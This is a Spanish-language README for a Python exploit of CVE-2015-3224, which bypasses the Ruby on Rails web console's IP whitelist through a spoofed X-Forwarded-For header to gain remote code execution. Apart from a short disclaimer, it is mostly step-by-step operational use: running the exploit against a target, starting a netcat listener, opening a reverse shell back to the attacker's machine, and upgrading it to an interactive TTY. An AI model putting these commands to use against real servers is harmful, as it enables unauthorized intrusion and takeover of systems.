
Ruby on Rails Exploit de Consola Web (CVE-2015-3224)
Este repositorio contiene un script en Python para explotar una vulnerabilidad de omisión de la lista blanca de IP en la consola web de desarrollo de Ruby on Rails 4.0.x y 4.1.x. El script permite la ejecución remota de código en servidores vulnerables.
⚠️ Aviso de responsabilidad Este script está destinado únicamente a fines educativos y pruebas de seguridad autorizadas. No lo utilice en ningún sistema sin permiso explícito. Los autores no se hacen responsables de ningún uso indebido o daño causado por este script.
La consola web en versiones vulnerables de Ruby on Rails está destinada a fines de desarrollo y solo debería ser accesible desde direcciones IP de confianza. Sin embargo, debido al manejo incorrecto del encabezado HTTP X-Forwarded-For, un atacante puede suplantar su dirección IP para parecer un usuario local de confianza (por ejemplo, 127.0.0.1 o ::1). Esto elude la lista blanca de IP y otorga acceso no autorizado a la consola web, lo que lleva a la ejecución remota de código.
requestsInstalar requests:
pip install requests
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-directory>
chmod +x exploit.py
Este modo es útil para ejecutar comandos rápidos y simples.
./exploit.py -t http://<TARGET_IP>:<PORT>
Este es el modo recomendado para un shell estable y completamente interactivo.
En su máquina local, abra una nueva terminal e inicie un listener netcat.
nc -lvnp 9001
En otra terminal, ejecute el script con la bandera --rev-shell, proporcionando su IP local (lhost) y puerto (lport).
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
Una conexión llegará a su listener netcat. Para actualizarlo a un TTY completamente interactivo, siga estos pasos en la ventana de netcat:
Ctrl+Z.stty raw -echo; fg
Enter si el prompt no reaparece.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
¡Ahora tiene un shell completamente funcional y estable!